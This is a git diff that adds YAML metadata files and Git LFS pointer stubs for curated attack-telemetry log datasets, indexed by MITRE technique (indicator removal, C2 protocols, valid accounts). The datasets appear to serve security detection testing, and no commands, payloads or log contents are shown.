/datasets/attack_techniques/T1070/atomic_red_team/windows-sysmon-28bb78a0-133b-496b-9049-34a6c33a899f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1070/atomic_red_team/windows-sysmon-28bb78a0-133b-496b-9049-34a6c33a899f.log b/datasets/attack_techniques/T1070/atomic_red_team/windows-sysmon-28bb78a0-133b-496b-9049-34a6c33a899f.log new file mode 100644 index 000000000..92f80d28f --- /dev/null +++ b/datasets/attack_techniques/T1070/atomic_red_team/windows-sysmon-28bb78a0-133b-496b-9049-34a6c33a899f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:713be13b3a6c8851d676b59e3d78fbccee2a3895f40605acb244bed513818792 +size 1958 diff --git a/datasets/attack_techniques/T1070/esxi_system_clock_manipulation/T1070_esxi_system_clock_manipulation.yml b/datasets/attack_techniques/T1070/esxi_system_clock_manipulation/T1070_esxi_system_clock_manipulation.yml new file mode 100644 index 000000000..3297e9689 --- /dev/null +++ b/datasets/attack_techniques/T1070/esxi_system_clock_manipulation/T1070_esxi_system_clock_manipulation.yml @@ -0,0 +1,12 @@ +author: STRT +id: ff347d7c-4c09-483b-a010-0f1a0b23168d +date: '2026-07-13' +description: Curated attack data generated for detection ESXi System Clock Manipulation +environment: attack_range +directory: esxi_system_clock_manipulation +mitre_technique: [] +datasets: +- name: esxi_system_clock_manipulation + path: /datasets/attack_techniques/T1070/esxi_system_clock_manipulation/esxi_system_clock_manipulation-ff347d7c-4c09-483b-a010-0f1a0b23168d.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1070/esxi_system_clock_manipulation/esxi_system_clock_manipulation-ff347d7c-4c09-483b-a010-0f1a0b23168d.log b/datasets/attack_techniques/T1070/esxi_system_clock_manipulation/esxi_system_clock_manipulation-ff347d7c-4c09-483b-a010-0f1a0b23168d.log new file mode 100644 index 000000000..94a0ae772 --- /dev/null +++ b/datasets/attack_techniques/T1070/esxi_system_clock_manipulation/esxi_system_clock_manipulation-ff347d7c-4c09-483b-a010-0f1a0b23168d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:168fcccf8ead2ab00710bdfac21e02eb0ccbed9286d2290cd88b793cb3623988 +size 666 diff --git a/datasets/attack_techniques/T1070/fsutil_file_zero/T1070_fsutil_file_zero.yml b/datasets/attack_techniques/T1070/fsutil_file_zero/T1070_fsutil_file_zero.yml new file mode 100644 index 000000000..3d79d278e --- /dev/null +++ b/datasets/attack_techniques/T1070/fsutil_file_zero/T1070_fsutil_file_zero.yml @@ -0,0 +1,12 @@ +author: STRT +id: 5a0a6692-0cd2-459e-8870-54841bbac27d +date: '2026-07-10' +description: Curated attack data generated for detection Fsutil Zeroing File +environment: attack_range +directory: fsutil_file_zero +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1070/fsutil_file_zero/windows-sysmon-5a0a6692-0cd2-459e-8870-54841bbac27d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1070/fsutil_file_zero/windows-sysmon-5a0a6692-0cd2-459e-8870-54841bbac27d.log b/datasets/attack_techniques/T1070/fsutil_file_zero/windows-sysmon-5a0a6692-0cd2-459e-8870-54841bbac27d.log new file mode 100644 index 000000000..5fca3701d --- /dev/null +++ b/datasets/attack_techniques/T1070/fsutil_file_zero/windows-sysmon-5a0a6692-0cd2-459e-8870-54841bbac27d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d8e2260f0cea7d9094d22c1e65d753941fc68892c7f35310c5e8ad359a5a35a6 +size 2077 diff --git a/datasets/attack_techniques/T1070/rmdir_delete_files_and_dir/T1070_rmdir_delete_files_and_dir.yml b/datasets/attack_techniques/T1070/rmdir_delete_files_and_dir/T1070_rmdir_delete_files_and_dir.yml new file mode 100644 index 000000000..d3aa81560 --- /dev/null +++ b/datasets/attack_techniques/T1070/rmdir_delete_files_and_dir/T1070_rmdir_delete_files_and_dir.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6f2446db-f16d-45c9-9834-602f342b4d28 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Indicator Removal + Via Rmdir +environment: attack_range +directory: rmdir_delete_files_and_dir +mitre_technique: [] +datasets: +- name: rmdir + path: /datasets/attack_techniques/T1070/rmdir_delete_files_and_dir/rmdir-6f2446db-f16d-45c9-9834-602f342b4d28.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1070/rmdir_delete_files_and_dir/rmdir-6f2446db-f16d-45c9-9834-602f342b4d28.log b/datasets/attack_techniques/T1070/rmdir_delete_files_and_dir/rmdir-6f2446db-f16d-45c9-9834-602f342b4d28.log new file mode 100644 index 000000000..3a61a9d72 --- /dev/null +++ b/datasets/attack_techniques/T1070/rmdir_delete_files_and_dir/rmdir-6f2446db-f16d-45c9-9834-602f342b4d28.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:411c7c804d42e2d82391ec9ae441ccf40a9f8c186012577455213fdcda025181 +size 1988 diff --git a/datasets/attack_techniques/T1071.001/http_user_agents/T1071.001_http_user_agents.yml b/datasets/attack_techniques/T1071.001/http_user_agents/T1071.001_http_user_agents.yml new file mode 100644 index 000000000..9cafa4ea7 --- /dev/null +++ b/datasets/attack_techniques/T1071.001/http_user_agents/T1071.001_http_user_agents.yml @@ -0,0 +1,24 @@ +author: STRT +id: 40bd6d97-6c5b-44a2-b6f2-64d3bd913990 +date: '2026-07-13' +description: Curated attack data generated for detection HTTP C2 Framework User Agent +environment: attack_range +directory: http_user_agents +mitre_technique: [] +datasets: +- name: suricata_c2 + path: /datasets/attack_techniques/T1071.001/http_user_agents/suricata_c2-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log + sourcetype: suricata + source: not_applicable +- name: suricata_malware + path: /datasets/attack_techniques/T1071.001/http_user_agents/suricata_malware-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log + sourcetype: suricata + source: not_applicable +- name: suricata_pua + path: /datasets/attack_techniques/T1071.001/http_user_agents/suricata_pua-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log + sourcetype: suricata + source: not_applicable +- name: suricata_rmm + path: /datasets/attack_techniques/T1071.001/http_user_agents/suricata_rmm-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1071.001/http_user_agents/suricata_c2-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log b/datasets/attack_techniques/T1071.001/http_user_agents/suricata_c2-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log new file mode 100644 index 000000000..f97bc45b9 --- /dev/null +++ b/datasets/attack_techniques/T1071.001/http_user_agents/suricata_c2-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6d199af8b80f495a8192f7d4ce2b2ea0feffb0c748e14f0a2c1a1953bf0d5e37 +size 32944 diff --git a/datasets/attack_techniques/T1071.001/http_user_agents/suricata_malware-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log b/datasets/attack_techniques/T1071.001/http_user_agents/suricata_malware-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log new file mode 100644 index 000000000..501b13f3d --- /dev/null +++ b/datasets/attack_techniques/T1071.001/http_user_agents/suricata_malware-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b61210d7a640b3602e4cce24a6ecc4b1406c48c6162a0d193fef5bae248ad74d +size 5582 diff --git a/datasets/attack_techniques/T1071.001/http_user_agents/suricata_pua-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log b/datasets/attack_techniques/T1071.001/http_user_agents/suricata_pua-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log new file mode 100644 index 000000000..f05ea762a --- /dev/null +++ b/datasets/attack_techniques/T1071.001/http_user_agents/suricata_pua-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6e9c646dbde743146fbaae81c0bd01c370662bdc648ecd788e159da33c37ee2f +size 2587 diff --git a/datasets/attack_techniques/T1071.001/http_user_agents/suricata_rmm-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log b/datasets/attack_techniques/T1071.001/http_user_agents/suricata_rmm-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log new file mode 100644 index 000000000..1136bb6fe --- /dev/null +++ b/datasets/attack_techniques/T1071.001/http_user_agents/suricata_rmm-40bd6d97-6c5b-44a2-b6f2-64d3bd913990.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:98d2fbc7b6881754f710b58ddd33d48928d9187d1b77fa28f45d6468fc3edc16 +size 1503 diff --git a/datasets/attack_techniques/T1071.004/kerberos_coercion/T1071.004_kerberos_coercion.yml b/datasets/attack_techniques/T1071.004/kerberos_coercion/T1071.004_kerberos_coercion.yml new file mode 100644 index 000000000..e3c5314a2 --- /dev/null +++ b/datasets/attack_techniques/T1071.004/kerberos_coercion/T1071.004_kerberos_coercion.yml @@ -0,0 +1,21 @@ +author: STRT +id: ac7ce727-f8e8-4bf7-a017-5bd70b0a265d +date: '2026-07-13' +description: Curated attack data generated for detection Windows Credential Target + Information Structure in Commandline +environment: attack_range +directory: kerberos_coercion +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1071.004/kerberos_coercion/sysmon-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-xml + path: /datasets/attack_techniques/T1071.004/kerberos_coercion/windows-xml-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: suricata + path: /datasets/attack_techniques/T1071.004/kerberos_coercion/suricata-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1071.004/kerberos_coercion/suricata-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log b/datasets/attack_techniques/T1071.004/kerberos_coercion/suricata-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log new file mode 100644 index 000000000..b24fc4126 --- /dev/null +++ b/datasets/attack_techniques/T1071.004/kerberos_coercion/suricata-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bf6355db0315da02835f2a82bef3536c0798cbca9d307d76dfea4b61c7e27584 +size 2028 diff --git a/datasets/attack_techniques/T1071.004/kerberos_coercion/sysmon-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log b/datasets/attack_techniques/T1071.004/kerberos_coercion/sysmon-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log new file mode 100644 index 000000000..98d9fe8df --- /dev/null +++ b/datasets/attack_techniques/T1071.004/kerberos_coercion/sysmon-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:144c105a3bbc2c8c77f89fc89237b697f368a93b5648934fde192ebd46b2cb32 +size 1173 diff --git a/datasets/attack_techniques/T1071.004/kerberos_coercion/windows-xml-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log b/datasets/attack_techniques/T1071.004/kerberos_coercion/windows-xml-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log new file mode 100644 index 000000000..05c6c2a01 --- /dev/null +++ b/datasets/attack_techniques/T1071.004/kerberos_coercion/windows-xml-ac7ce727-f8e8-4bf7-a017-5bd70b0a265d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:05c92d723a81050e02b4eb37754c05a84872aacc81447ab0d699ea56a4e8b942 +size 4105 diff --git a/datasets/attack_techniques/T1071.004/long_dns_query/T1071.004_long_dns_query.yml b/datasets/attack_techniques/T1071.004/long_dns_query/T1071.004_long_dns_query.yml new file mode 100644 index 000000000..adc1ed74c --- /dev/null +++ b/datasets/attack_techniques/T1071.004/long_dns_query/T1071.004_long_dns_query.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0f6a0c6d-39ea-46f5-9344-4034e0006f6f +date: '2026-07-13' +description: Curated attack data generated for detection DNS Query Length With High + Standard Deviation +environment: attack_range +directory: long_dns_query +mitre_technique: [] +datasets: +- name: dns-sysmon + path: /datasets/attack_techniques/T1071.004/long_dns_query/dns-sysmon-0f6a0c6d-39ea-46f5-9344-4034e0006f6f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1071.004/long_dns_query/dns-sysmon-0f6a0c6d-39ea-46f5-9344-4034e0006f6f.log b/datasets/attack_techniques/T1071.004/long_dns_query/dns-sysmon-0f6a0c6d-39ea-46f5-9344-4034e0006f6f.log new file mode 100644 index 000000000..e63d8beee --- /dev/null +++ b/datasets/attack_techniques/T1071.004/long_dns_query/dns-sysmon-0f6a0c6d-39ea-46f5-9344-4034e0006f6f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:499e0839354e9af7bf854a18b27e9cf278823496c3320e47634e1aca0043067f +size 10001 diff --git a/datasets/attack_techniques/T1071.004/upload_files_dns/T1071.004_upload_files_dns.yml b/datasets/attack_techniques/T1071.004/upload_files_dns/T1071.004_upload_files_dns.yml new file mode 100644 index 000000000..ac57b4bdf --- /dev/null +++ b/datasets/attack_techniques/T1071.004/upload_files_dns/T1071.004_upload_files_dns.yml @@ -0,0 +1,12 @@ +author: STRT +id: 9fed944c-fdd7-4090-acfc-4b72c50dd77f +date: '2026-07-13' +description: Curated attack data generated for detection Windows Abused Web Services +environment: attack_range +directory: upload_files_dns +mitre_technique: [] +datasets: +- name: upload_files + path: /datasets/attack_techniques/T1071.004/upload_files_dns/upload_files-9fed944c-fdd7-4090-acfc-4b72c50dd77f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1071.004/upload_files_dns/upload_files-9fed944c-fdd7-4090-acfc-4b72c50dd77f.log b/datasets/attack_techniques/T1071.004/upload_files_dns/upload_files-9fed944c-fdd7-4090-acfc-4b72c50dd77f.log new file mode 100644 index 000000000..a88d25cf9 --- /dev/null +++ b/datasets/attack_techniques/T1071.004/upload_files_dns/upload_files-9fed944c-fdd7-4090-acfc-4b72c50dd77f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fc4a25a46ac4e5dda18b601403c81068905eb52197af6d32ac1c75242b398f17 +size 2083 diff --git a/datasets/attack_techniques/T1071.004/vbc_dnsquery/T1071.004_vbc_dnsquery.yml b/datasets/attack_techniques/T1071.004/vbc_dnsquery/T1071.004_vbc_dnsquery.yml new file mode 100644 index 000000000..0d6e6d425 --- /dev/null +++ b/datasets/attack_techniques/T1071.004/vbc_dnsquery/T1071.004_vbc_dnsquery.yml @@ -0,0 +1,13 @@ +author: STRT +id: 02fa1615-4391-4bdd-9940-571acc934827 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Visual Basic Commandline + Compiler DNSQuery +environment: attack_range +directory: vbc_dnsquery +mitre_technique: [] +datasets: +- name: vbc_dns_query + path: /datasets/attack_techniques/T1071.004/vbc_dnsquery/vbc_dns_query-02fa1615-4391-4bdd-9940-571acc934827.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1071.004/vbc_dnsquery/vbc_dns_query-02fa1615-4391-4bdd-9940-571acc934827.log b/datasets/attack_techniques/T1071.004/vbc_dnsquery/vbc_dns_query-02fa1615-4391-4bdd-9940-571acc934827.log new file mode 100644 index 000000000..9f43f8dd9 --- /dev/null +++ b/datasets/attack_techniques/T1071.004/vbc_dnsquery/vbc_dns_query-02fa1615-4391-4bdd-9940-571acc934827.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:15d593b106139c924d1eee1685e2ca2d00fc6b937973801fbe81fb0148a3156d +size 4174 diff --git a/datasets/attack_techniques/T1072/intune/T1072_intune.yml b/datasets/attack_techniques/T1072/intune/T1072_intune.yml new file mode 100644 index 000000000..962ccdbc8 --- /dev/null +++ b/datasets/attack_techniques/T1072/intune/T1072_intune.yml @@ -0,0 +1,13 @@ +author: STRT +id: 83aaed6f-ef21-4563-8804-26c95322dd31 +date: '2026-07-10' +description: Curated attack data generated for detection Microsoft Intune Device Health + Scripts +environment: attack_range +directory: intune +mitre_technique: [] +datasets: +- name: intune + path: /datasets/attack_techniques/T1072/intune/intune-83aaed6f-ef21-4563-8804-26c95322dd31.log + sourcetype: azure:monitor:activity + source: Azure AD diff --git a/datasets/attack_techniques/T1072/intune/intune-83aaed6f-ef21-4563-8804-26c95322dd31.log b/datasets/attack_techniques/T1072/intune/intune-83aaed6f-ef21-4563-8804-26c95322dd31.log new file mode 100644 index 000000000..c873b1dbf --- /dev/null +++ b/datasets/attack_techniques/T1072/intune/intune-83aaed6f-ef21-4563-8804-26c95322dd31.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bc5d04d38bfc83844ed1ec16896f0082f069af293c07e70ee64696d894836273 +size 1143 diff --git a/datasets/attack_techniques/T1078.001/snapattack/T1078.001_snapattack.yml b/datasets/attack_techniques/T1078.001/snapattack/T1078.001_snapattack.yml new file mode 100644 index 000000000..b7059bd57 --- /dev/null +++ b/datasets/attack_techniques/T1078.001/snapattack/T1078.001_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: dd9b9411-181d-4264-a4fc-86c3de3f842d +date: '2026-07-11' +description: Curated attack data generated for detection Windows Guest Account Enabled + Via Net.EXE +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1078.001/snapattack/snapattack-dd9b9411-181d-4264-a4fc-86c3de3f842d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1078.001/snapattack/snapattack-dd9b9411-181d-4264-a4fc-86c3de3f842d.log b/datasets/attack_techniques/T1078.001/snapattack/snapattack-dd9b9411-181d-4264-a4fc-86c3de3f842d.log new file mode 100644 index 000000000..90aabaa1d --- /dev/null +++ b/datasets/attack_techniques/T1078.001/snapattack/snapattack-dd9b9411-181d-4264-a4fc-86c3de3f842d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d09e849d849879e5a71c9be5bc3721bcbc7c975133757fad83dbfdbd0da18102 +size 1503 diff --git a/datasets/attack_techniques/T1078.002/powerview_acl_enumeration/T1078.002_powerview_acl_enumeration.yml b/datasets/attack_techniques/T1078.002/powerview_acl_enumeration/T1078.002_powerview_acl_enumeration.yml new file mode 100644 index 000000000..0ddb274e5 --- /dev/null +++ b/datasets/attack_techniques/T1078.002/powerview_acl_enumeration/T1078.002_powerview_acl_enumeration.yml @@ -0,0 +1,13 @@ +author: STRT +id: 36079f45-e3e4-4df5-80d6-d40042549d82 +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerView AD Access + Control List Enumeration +environment: attack_range +directory: powerview_acl_enumeration +mitre_technique: [] +datasets: +- name: windows-powershell + path: /datasets/attack_techniques/T1078.002/powerview_acl_enumeration/windows-powershell-36079f45-e3e4-4df5-80d6-d40042549d82.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1078.002/powerview_acl_enumeration/windows-powershell-36079f45-e3e4-4df5-80d6-d40042549d82.log b/datasets/attack_techniques/T1078.002/powerview_acl_enumeration/windows-powershell-36079f45-e3e4-4df5-80d6-d40042549d82.log new file mode 100644 index 000000000..7adfc6344 --- /dev/null +++ b/datasets/attack_techniques/T1078.002/powerview_acl_enumeration/windows-powershell-36079f45-e3e4-4df5-80d6-d40042549d82.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9c3b27d5f3edaf8bba7020b5cd99d8acd989fbd0d2ab580ac467bd124a54de80 +size 108433 diff --git a/datasets/attack_techniques/T1078.002/suspicious_computer_account_name_change/T1078.002_suspicious_computer_account_name_change.yml b/datasets/attack_techniques/T1078.002/suspicious_computer_account_name_change/T1078.002_suspicious_computer_account_name_change.yml new file mode 100644 index 000000000..c5778d133 --- /dev/null +++ b/datasets/attack_techniques/T1078.002/suspicious_computer_account_name_change/T1078.002_suspicious_computer_account_name_change.yml @@ -0,0 +1,13 @@ +author: STRT +id: 092b2321-1217-43bb-85ca-c6aa8b4ff035 +date: '2026-07-11' +description: Curated attack data generated for detection Suspicious Computer Account + Name Change +environment: attack_range +directory: suspicious_computer_account_name_change +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1078.002/suspicious_computer_account_name_change/windows-xml-092b2321-1217-43bb-85ca-c6aa8b4ff035.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1078.002/suspicious_computer_account_name_change/windows-xml-092b2321-1217-43bb-85ca-c6aa8b4ff035.log b/datasets/attack_techniques/T1078.002/suspicious_computer_account_name_change/windows-xml-092b2321-1217-43bb-85ca-c6aa8b4ff035.log new file mode 100644 index 000000000..bf7185970 --- /dev/null +++ b/datasets/attack_techniques/T1078.002/suspicious_computer_account_name_change/windows-xml-092b2321-1217-43bb-85ca-c6aa8b4ff035.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7e823e439e94def323608b535bf843d2db7a50bcd8e93e0721990ea55f67a46c +size 1032 diff --git a/datasets/attack_techniques/T1078.002/suspicious_ticket_granting_ticket_request/T1078.002_suspicious_ticket_granting_ticket_request.yml b/datasets/attack_techniques/T1078.002/suspicious_ticket_granting_ticket_request/T1078.002_suspicious_ticket_granting_ticket_request.yml new file mode 100644 index 000000000..8f0de9109 --- /dev/null +++ b/datasets/attack_techniques/T1078.002/suspicious_ticket_granting_ticket_request/T1078.002_suspicious_ticket_granting_ticket_request.yml @@ -0,0 +1,13 @@ +author: STRT +id: b4f52017-b6ac-4a40-ad0c-c1ffaeb73384 +date: '2026-07-11' +description: Curated attack data generated for detection Suspicious Ticket Granting + Ticket Request +environment: attack_range +directory: suspicious_ticket_granting_ticket_request +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1078.002/suspicious_ticket_granting_ticket_request/windows-xml-b4f52017-b6ac-4a40-ad0c-c1ffaeb73384.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1078.002/suspicious_ticket_granting_ticket_request/windows-xml-b4f52017-b6ac-4a40-ad0c-c1ffaeb73384.log b/datasets/attack_techniques/T1078.002/suspicious_ticket_granting_ticket_request/windows-xml-b4f52017-b6ac-4a40-ad0c-c1ffaeb73384.log new file mode 100644 index 000000000..c5f2626f6 --- /dev/null +++ b/datasets/attack_techniques/T1078.002/suspicious_ticket_granting_ticket_request/windows-xml-b4f52017-b6ac-4a40-ad0c-c1ffaeb73384.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b489df7d60bdb591eea166f4c7c57b43bb86a2069f0475a3bbcbdc4f4890e91e +size 2242 diff --git a/datasets/attack_techniques/T1078.004/aws_login_sfa/T1078.004_aws_login_sfa.yml b/datasets/attack_techniques/T1078.004/aws_login_sfa/T1078.004_aws_login_sfa.yml new file mode 100644 index 000000000..0b2bc2598 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/aws_login_sfa/T1078.004_aws_login_sfa.yml @@ -0,0 +1,13 @@ +author: STRT +id: 015bb8ae-d43a-4aba-8403-64e9ffeb662b +date: '2026-07-10' +description: Curated attack data generated for detection AWS Successful Single-Factor + Authentication +environment: attack_range +directory: aws_login_sfa +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1078.004/aws_login_sfa/cloudtrail-015bb8ae-d43a-4aba-8403-64e9ffeb662b.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1078.004/aws_login_sfa/cloudtrail-015bb8ae-d43a-4aba-8403-64e9ffeb662b.log b/datasets/attack_techniques/T1078.004/aws_login_sfa/cloudtrail-015bb8ae-d43a-4aba-8403-64e9ffeb662b.log new file mode 100644 index 000000000..90f99e4c6 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/aws_login_sfa/cloudtrail-015bb8ae-d43a-4aba-8403-64e9ffeb662b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:395d8a667d12577fe83116c5fd0d850ea1b27dd21b1e303d08529869a5872b9a +size 2272 diff --git a/datasets/attack_techniques/T1078.004/azure_ad_service_principal_authentication/T1078.004_azure_ad_service_principal_authentication.yml b/datasets/attack_techniques/T1078.004/azure_ad_service_principal_authentication/T1078.004_azure_ad_service_principal_authentication.yml new file mode 100644 index 000000000..8cc5e199a --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azure_ad_service_principal_authentication/T1078.004_azure_ad_service_principal_authentication.yml @@ -0,0 +1,13 @@ +author: STRT +id: b28a5605-90d4-4e82-b529-4dc40a1fc617 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Service Principal + Authentication +environment: attack_range +directory: azure_ad_service_principal_authentication +mitre_technique: [] +datasets: +- name: azure_ad_service_principal_authentication + path: /datasets/attack_techniques/T1078.004/azure_ad_service_principal_authentication/azure_ad_service_principal_authentication-b28a5605-90d4-4e82-b529-4dc40a1fc617.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1078.004/azure_ad_service_principal_authentication/azure_ad_service_principal_authentication-b28a5605-90d4-4e82-b529-4dc40a1fc617.log b/datasets/attack_techniques/T1078.004/azure_ad_service_principal_authentication/azure_ad_service_principal_authentication-b28a5605-90d4-4e82-b529-4dc40a1fc617.log new file mode 100644 index 000000000..158ab378d --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azure_ad_service_principal_authentication/azure_ad_service_principal_authentication-b28a5605-90d4-4e82-b529-4dc40a1fc617.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b9e51a05f42fcf6f4e7b917773c6b352d91d63628005e4ac2ccb670f48a8d4d5 +size 85290 diff --git a/datasets/attack_techniques/T1078.004/azure_automation_runbook/T1078.004_azure_automation_runbook.yml b/datasets/attack_techniques/T1078.004/azure_automation_runbook/T1078.004_azure_automation_runbook.yml new file mode 100644 index 000000000..434def20e --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azure_automation_runbook/T1078.004_azure_automation_runbook.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0a11f9ba-6969-4799-ba95-640bcd1e908d +date: '2026-07-10' +description: Curated attack data generated for detection Azure Automation Runbook + Created +environment: attack_range +directory: azure_automation_runbook +mitre_technique: [] +datasets: +- name: azure-activity + path: /datasets/attack_techniques/T1078.004/azure_automation_runbook/azure-activity-0a11f9ba-6969-4799-ba95-640bcd1e908d.log + sourcetype: mscs:azure:audit + source: mscs:azure:audit diff --git a/datasets/attack_techniques/T1078.004/azure_automation_runbook/azure-activity-0a11f9ba-6969-4799-ba95-640bcd1e908d.log b/datasets/attack_techniques/T1078.004/azure_automation_runbook/azure-activity-0a11f9ba-6969-4799-ba95-640bcd1e908d.log new file mode 100644 index 000000000..befff218f --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azure_automation_runbook/azure-activity-0a11f9ba-6969-4799-ba95-640bcd1e908d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8c3404b763a6b84fcdd4989fa6772f2d52c5c8771415d343a358c281a5fd6737 +size 3835 diff --git a/datasets/attack_techniques/T1078.004/azure_runbook_webhook/T1078.004_azure_runbook_webhook.yml b/datasets/attack_techniques/T1078.004/azure_runbook_webhook/T1078.004_azure_runbook_webhook.yml new file mode 100644 index 000000000..1bd61cbdb --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azure_runbook_webhook/T1078.004_azure_runbook_webhook.yml @@ -0,0 +1,12 @@ +author: STRT +id: b3645715-ec71-46d4-a697-867a32f9e6b3 +date: '2026-07-10' +description: Curated attack data generated for detection Azure Runbook Webhook Created +environment: attack_range +directory: azure_runbook_webhook +mitre_technique: [] +datasets: +- name: azure-activity + path: /datasets/attack_techniques/T1078.004/azure_runbook_webhook/azure-activity-b3645715-ec71-46d4-a697-867a32f9e6b3.log + sourcetype: mscs:azure:audit + source: mscs:azure:audit diff --git a/datasets/attack_techniques/T1078.004/azure_runbook_webhook/azure-activity-b3645715-ec71-46d4-a697-867a32f9e6b3.log 